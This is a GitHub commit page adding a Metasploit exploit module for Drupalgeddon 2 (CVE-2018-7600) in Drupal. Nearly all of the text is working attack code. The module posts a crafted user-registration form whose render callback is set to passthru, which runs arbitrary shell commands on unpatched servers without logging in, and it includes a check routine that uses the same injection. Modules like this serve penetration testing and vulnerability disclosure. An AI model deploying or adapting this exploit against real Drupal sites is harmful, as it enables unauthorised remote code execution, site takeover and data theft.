-
Notifications
You must be signed in to change notification settings - Fork 13.8k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
1 changed file
with
103 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,103 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Remote | ||
|
||
Rank = ExcellentRanking | ||
|
||
include Msf::Exploit::Remote::HttpClient | ||
|
||
def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'Drupal Drupalgeddon 2', | ||
'Description' => %q{ | ||
This module exploits a vulnerability. | ||
}, | ||
'Author' => [ | ||
'Jasper Mattsson', # Vulnerability discovery | ||
'a2u', # Proof of concept | ||
'Nixawk', # Proof of concept | ||
'wvu' # Metasploit module | ||
], | ||
'References' => [ | ||
['CVE', '2018-7600'], | ||
['URL', 'https://www.drupal.org/sa-core-2018-002'], | ||
['URL', 'https://greysec.net/showthread.php?tid=2912'], | ||
['URL', 'https://research.checkpoint.com/uncovering-drupalgeddon-2/'], | ||
['URL', 'https://github.com/a2u/CVE-2018-7600'], | ||
['URL', 'https://github.com/nixawk/labs/issues/19'] | ||
], | ||
'DisclosureDate' => 'Mar 28 2018', | ||
'License' => MSF_LICENSE, | ||
'Platform' => 'unix', | ||
'Arch' => ARCH_CMD, | ||
'Privileged' => false, | ||
'Targets' => [ | ||
['Drupal < 7.58, < 8.3.9, < 8.4.6, < 8.5.1', {}] | ||
], | ||
'DefaultTarget' => 0, | ||
'DefaultOptions' => { | ||
'PAYLOAD' => 'cmd/unix/generic', | ||
'CMD' => 'id; uname -a' | ||
} | ||
)) | ||
|
||
register_options([ | ||
OptString.new('TARGETURI', [true, 'Path to Drupal install', '/']), | ||
OptBool.new('CLEAN_URLS', [false, 'If clean URLs are enabled', true]), | ||
OptBool.new('DUMP_OUTPUT', [false, 'If output should be dumped', true]) | ||
]) | ||
end | ||
|
||
def check | ||
token = Rex::Text.rand_text_alphanumeric(8..42) | ||
|
||
res = exploit(code: "echo #{token}") | ||
|
||
if res && res.body.include?(token) | ||
return CheckCode::Vulnerable | ||
end | ||
|
||
CheckCode::Safe | ||
end | ||
|
||
# TODO: passthru() may be disabled, so try others | ||
def exploit(func: 'passthru', code: payload.encoded) | ||
if datastore['CLEAN_URLS'] | ||
register = '/user/register' | ||
else | ||
register = '?q=user/register' | ||
end | ||
|
||
print_status("Executing on target: #{code}") | ||
|
||
res = send_request_cgi( | ||
'method' => 'POST', | ||
'uri' => normalize_uri(target_uri.path, register), | ||
'vars_get' => { | ||
'element_parents' => 'account/mail/#value', | ||
'ajax_form' => 1, | ||
'_wrapper_format' => 'drupal_ajax' | ||
}, | ||
'vars_post' => { | ||
'form_id' => 'user_register_form', | ||
'_drupal_ajax' => 1, | ||
'mail[#type]' => 'markup', | ||
'mail[#post_render][]' => func, | ||
'mail[#markup]' => code | ||
} | ||
) | ||
|
||
if res.nil? || res.code != 200 | ||
print_error("Unexpected reply: #{res.inspect}") | ||
return nil | ||
end | ||
|
||
print_line(res.body) if datastore['DUMP_OUTPUT'] | ||
|
||
res | ||
end | ||
|
||
end |